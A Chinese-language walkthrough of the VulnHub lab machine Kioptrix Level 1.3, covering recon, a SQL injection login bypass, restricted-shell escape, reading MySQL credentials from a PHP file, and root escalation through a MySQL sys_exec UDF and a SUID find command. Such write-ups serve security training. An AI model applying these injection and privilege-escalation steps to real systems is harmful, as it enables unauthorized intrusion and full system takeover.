一、介绍
运行环境:Virtualbox
攻击机:kali(192.168.56.101)
靶机:Kioptrix_Level1.3(192.168.56.109)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-13-4,25
安装虚拟机:
由于下载下来的压缩包内只有一个虚拟硬盘,需要打开一个虚拟机加入这块硬盘
选择自定义安装
操作系统选择linux,版本随便选一个,其他默认即可
将原来的硬盘删去,选择下载好的靶机硬盘替换原来的硬盘
直接打开虚拟机即可
二、信息收集
使用nmap主机发现靶机ip:192.168.56.109
使用nmap端口扫描发现靶机开放端口:22、80、139、445
nmap -A 192.168.56.109 -p 1-65535
打开网站,是一个登录页面,查看源码没有发现隐藏信息
直接dirsearch进行目录爆破,发现/database.sql
文件
访问/database.sql
文件,发现一组用户名密码:john:1234
但尝试使用该用户名密码登录网站和ssh均登录失败
回到登录页面,使用万能密码尝试登录,用户名:john、密码:a' or 1=1#
,登录成功
得到一组用户名和密码:john:MyNameIsJohn
使用得到的用户名密码登录ssh
直接登录会报错
原因是靶机的ssh版本太老了,可以使用如下命令登录:
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc john@192.168.56.109
登录后发现该用户命令和可访问的目录都被限制了
使用echo获取交互式shell
echo os.system("/bin/bash")
三、提权
查找靶机是否有特权命令,或是否存在可利用的具有root权限的文件,均未发现。
sudo -l
find / -perm -u=s -type f 2>/dev/null
翻一翻靶机各个文件夹,看有没有可利用的文件
在/var/www/checklogin.php
文件发现数据库的用户名密码
使用获得的用户名密码登录mysql
mysql -u root -p
查找数据库,发现robert用户的密码:ADGAdsafdfwt4gadfga==
切换为robert用户,但robert用户和john用户权限差不多
数据库版本为:5.0.51a-3ubuntu5.4
,登录权限为数据库管理员权限,我们可以使用udf提权
查看数据库,发现数据库已经定义了sys_evec函数,该函数可以执行系统任意命令
use mysql;
select * from mysql.func;
我们可以给find命令所有者的suid权限,使其可以执行root命令
select sys_exec('chmod u+s /usr/bin/find');
再次执行命令find / -perm -u=s -type f 2>/dev/null
查看具有root权限的二进制文件,find命令添加成功
使用find命令提权
/usr/bin/find . -exec /bin/bash -p \; -quit